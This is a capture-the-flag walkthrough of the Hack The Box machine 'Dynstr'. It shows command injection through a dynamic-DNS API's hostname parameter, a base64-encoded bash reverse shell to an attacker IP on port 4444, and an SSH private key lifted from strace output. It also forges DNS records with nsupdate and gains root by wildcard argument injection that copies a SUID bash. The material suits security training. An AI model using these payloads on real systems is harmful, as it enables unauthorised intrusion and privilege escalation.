Dynstr - [HTB]

Cover Image for Dynstr - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Dynstr is a medium linux machine from HackTheBox where the attacker will have to execute some code on a DDNS API which doesn't sanitise its input in order to obtain a reverse shell. Then, will have to create subdomain with nsupdate in order to get access through the machine with an already created SSH certificate. Finally, will have to exploit a cp wildcard script in order to obtain SUID bash which will lead her or him to become root.

    Enumeration

    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Dynstr$ sudo nmap -sS -T5 -n -p- -oN AllPorts.txt 10.10.10.244
    Nmap scan report for 10.10.10.244
    Host is up (0.12s latency).
    Not shown: 65532 closed ports
    PORT   STATE SERVICE
    22/tcp open  ssh
    53/tcp open  domain
    80/tcp open  http
    
    # Nmap done at Sat Jun 12 17:29:16 2021 -- 1 IP address (1 host up) scanned in 540.78 seconds

    Then, we continue with a deeper scan of every opened port getting more information about each service.

    kali@kali:~/Documents/HTB/Dynstr$ sudo nmap -sC -sV -p 22,53,80 -n -T5 -oN PortsDepths.txt 10.10.10.244
    Nmap scan report for 10.10.10.244
    Host is up (0.12s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
    |   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
    |_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
    53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
    | dns-nsid: 
    |_  bind.version: 9.16.1-Ubuntu
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Dyna DNS
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

    Having a look at the web page we can get information about the company Dynamic DNS API with its domains and credentials.

    Dynamic DNS Services

    Using gobuster we can retrieve an unusual directory.

    kali@kali:~/Documents/HTB/Dynstr$ gobuster dir -t 40  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb/ php,html,txt -o gobuster.txt
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://dyna.htb/
    [+] Method:                  GET
    [+] Threads:                 40
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Timeout:                 10s
    ===============================================================
    2021/06/13 07:08:02 Starting gobuster in directory enumeration mode
    ===============================================================
    /assets               (Status: 301) [Size: 305] [--> http://dyna.htb/assets/]
    /nic                  (Status: 301) [Size: 302] [--> http://dyna.htb/nic/] 

    Accessing to the web page we obtain nothing but a blank screen, but searching on Google about the NO-IP API we can find a post explaining everything about how to perform queries to the API.

    In order to update a domain we need to specify in the request URL the domain and the ip with the parameters hostname and myip. Furthermore, we need to add the basic Authorization header and modify the User-Agent to identity our request.

    The request would be the following.

    GET /nic/update?hostname=dynamicdns.htb&myip=1.1.1.1 HTTP/1.1
    Host: dyna.htb
    Authorization: Basic ZHluYWRuczpzbmRhbnlk
    User-Agent: Dynadns XXXXX/1.0.0 maintainer-contact@example.com
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    
    

    Obtaining the following result.

    HTTP/1.1 200 OK
    Date: Sun, 13 Jun 2021 13:47:44 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 19
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    911 [wrngdom]: htb
    

    Looking at the no-ip response documentation it seems that we have and error.

    StatusDescription
    911ErrorA fatal error on our side such as a database outage. Retry the update no sooner than 30 minutes.

    A 500 HTTP error may also be returned in case of a fatal error on our system at which point you should also retry no sooner than 30 minutes.

    After fooling around with the subdomains in the hostname parameter we got the following result.

    Request:

    GET /nic/update?hostname=%3C%3Fphp%20system(%22id%22)%3F%3E.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
    Host: dyna.htb
    Authorization: Basic ZHluYWRuczpzbmRhbnlk
    User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com
    
    
    

    Response:

    HTTP/1.1 200 OK
    Date: Sun, 13 Jun 2021 17:23:13 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 22
    Content-Type: text/html; charset=UTF-8
    911 [nsupdate failed]
    
    

    Looking on google about nsupdate seems that is a linux binary for dynamic DNS updates, so maybe the user input isn't sanitised.

    Explotation

    Injecting "; id # as subdomain we obtain RCE.

    Request:

    GET /nic/update?hostname=%22%3B%20id%20%23.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
    Host: dyna.htb
    Authorization: Basic ZHluYWRuczpzbmRhbnlk
    User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com
    
    
    

    Response:

    HTTP/1.1 200 OK
    Date: Sun, 13 Jun 2021 19:16:11 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Vary: Accept-Encoding
    Content-Length: 117
    Content-Type: text/html; charset=UTF-8
    
    server 127.0.0.1
    zone dnsalias.htb
    update delete 
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    good 1.1.1.1
    
    

    In order to obtain an reverse shell we need to encode the following command in Base64 so there isn't any dot in the payload that could intercept the program as a subdomain.

    kali@kali:~/Documents/HTB/Dynstr$ echo -n  "bash -i >& /dev/tcp/10.10.14.198/4444 0>&1" | base64
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx
    

    Then we need to add the following commands to decode and execute our payload.

    "; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx | base64 -d | bash #

    Finally, we only need to URL encode the exploit.

    %22%3B%20echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash%20%23

    The final request is the following:

    GET /nic/update?hostname=%22%3B%20echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash%20%23.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
    Host: dyna.htb
    Authorization: Basic ZHluYWRuczpzbmRhbnlk
    User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com
    
    
    

    Response:

    kali@kali:~/Documents/HTB/Dynstr$ nc -nvlp 4444
    listening on [any] 4444 ...
    connect to [10.10.14.198] from (UNKNOWN) [10.10.10.244] 42382
    bash: cannot set terminal process group (743): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@dynstr:/var/www/html/nic$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Privilege Escalation 1

    Inside the folder /home/bindmgr/support-case-C62796521/ there are several debugging files.

    /home/bindmgr/support-case-C62796521/strace-C62796521.txt
    /home/bindmgr/support-case-C62796521/C62796521-debugging.script
    /home/bindmgr/support-case-C62796521/C62796521-debugging.timing
    /home/bindmgr/support-case-C62796521/command-output-C62796521.txt

    In the file C62796521-debugging.script we can find the following command where we can see the debugging execution of the curl command.

    bindmgr@nomen:~/support-case-C62796521$ strace -o strace-C62796521.txt -fs 2048 curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/
    * Expire in 0 ms for 6 (transfer 0x56090d2d1fb0)
    * Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
    * Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
    *   Trying 192.168.178.27...
    * TCP_NODELAY set
    * Expire in 200 ms for 4 (transfer 0x56090d2d1fb0)
    * Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
    * SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
    * SSH authentication methods available: publickey,password
    * Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
    * Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
    * SSH public key authentication failed: Callback returned error
    * Failure connecting to agent
    * Authentication failure
    * Closing connection 0
    
    

    Furthermore we can find the bindmgr's private key in the same file.

    read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823

    The sanitised key is the following.

    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
    NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
    42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
    HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
    L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
    UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
    CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
    uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
    XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
    ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
    +JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
    4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
    xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
    PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
    obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
    u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
    TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
    Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
    BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
    C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
    Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
    U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
    b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
    rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
    jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
    -----END OPENSSH PRIVATE KEY-----

    However the private key needs a password that we can not obtain via john or hashcat.

    kali@kali:~/Documents/HTB/Dynstr$ ssh -i bindmgr.key bindmgr@dyna.htb
    The authenticity of host 'dyna.htb (10.129.125.243)' can't be established.
    ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'dyna.htb,10.129.125.243' (ECDSA) to the list of known hosts.
    bindmgr@dyna.htb's password: 

    Looking at authorized_key we can see that we have access from any infra.dyna.htb subdomain.

    www-data@dynstr:/etc/bind$ cat /home/bindmgr/.ssh/authorized_keys 
    from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

    Looking at the php code we can retrieve an example of how to update domains in this machine.

    www-data@dynstr:/etc/bind$ cat /var/www/html/nic/update
    <?php
    [...] 
        // Update DNS entry
        $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
        system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    [...]
    ?>

    Furthermore, inside the /etc/bind/named.conf.local we can find information about the infra.key which will be needed for updating the zone 10.in-addr.arpa (Hack The Box network).

    www-data@dynstr:/etc/bind$ cat named.conf.local
    //
    // Do any local configuration here
    //
    
    // Add infrastructure DNS updates.
    include "/etc/bind/infra.key";
    zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
    zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
    zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
    // Enable DynDNS updates to customer zones.
    include "/etc/bind/ddns.key";
    zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
    zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
    zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
    
    // *** WORK IN PROGRESS, see bindmgr.sh ***
    // include "/etc/bind/named.conf.bindmgr";

    Using this webpage we can create a DNS registry with the subdomain .infra.dyna.htb.

    Note: For some reason I could not comprehend creating a registry for the subsubdomain "sftp.infra.dyna.htb" does not work, so you need to use other.

    www-data@dynstr:/tmp$ echo -e "update add test.infra.dyna.htb 3600 A 10.10.14.198\n\nupdate add 198.14.10.10.in-addr.arpa. 3600 PTR test.infra.dyna.htb\nsend\n" |  nsupdate -k /etc/bind/infra.key

    Now, we are able to access to the machine as bindmgr through SSH.

    kali@kali:~/Documents/HTB/Dynstr$ ssh bindmgr@dyna.htb -i bindmgr.key 
    Last login: Fri Jun 18 21:55:15 2021 from oops.infra.dyna.htb
    bindmgr@dynstr:~$ id
    uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)

    Privilege Escalation 2

    The user bindmgr can execute the script /usr/local/bin/bindmgr.sh as sudo.

    bindmgr@dynstr:~$ sudo -l
    sudo: unable to resolve host dynstr.dyna.htb: Name or service not known                                                          
    Matching Defaults entries for bindmgr on dynstr:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                              
    User bindmgr may run the following commands on dynstr:
        (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
    bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh

    Analyzing the script we can see that it checks for a .version file, compares its version with the one at /etc/bind/named.bindmgr/.version, then copies every single file in the current directory to /etc/bind/named.bindmgr using wildcards.

    #!/usr/bin/bash
    
    [...]
    BINDMGR_CONF=/etc/bind/named.conf.bindmgr
    BINDMGR_DIR=/etc/bind/named.bindmgr
    
    indent() { sed 's/^/    /'; }
    
    # Check versioning (.version)
    echo "[+] Running $0 to stage new configuration from $PWD."
    if [[ ! -f .version ]] ; then
        echo "[-] ERROR: Check versioning. Exiting."
        exit 42
    fi
    if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
        echo "[-] ERROR: Check versioning. Exiting."
        exit 43
    fi
    
    [...]
    
    # Stage new version of configuration files.
    echo "[+] Staging files to $BINDMGR_DIR."
    cp .version * /etc/bind/named.bindmgr/
    
    [...]

    Thanks to this post and looking at the cp documentation we can any any file keeping its privileges (--preserve=mode ) . In this scenario we will be coping a SUID bash binary that once executed we will become owned by root.

    In order to do so we need to execute the following commands.

    bindmgr@dynstr:/tmp/marmeus$ echo 1 > .version
    bindmgr@dynstr:/tmp/marmeus$ echo > --preserve=mode 
    bindmgr@dynstr:/tmp/marmeus$ cp /bin/bash .
    bindmgr@dynstr:/tmp/marmeus$ chmod u+s bash 
    bindmgr@dynstr:/tmp/marmeus$ sudo /usr/local/bin/bindmgr.sh
    sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
    [+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/marmeus.
    [+] Creating /etc/bind/named.conf.bindmgr file.
    [+] Staging files to /etc/bind/named.bindmgr.
    [+] Checking staged configuration.
    [-] ERROR: The generated configuration is not valid. Please fix following errors: 
        /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
        /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
        /etc/bind/named.bindmgr/bash:40: unknown option 'YF'
        /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
    bindmgr@dynstr:/tmp/marmeus$ /etc/bind/named.bindmgr/bash -p
    bash-5.0# id
    uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) groups=1001(bindmgr)
    bash-5.0# cat /root/root.txt
    [...]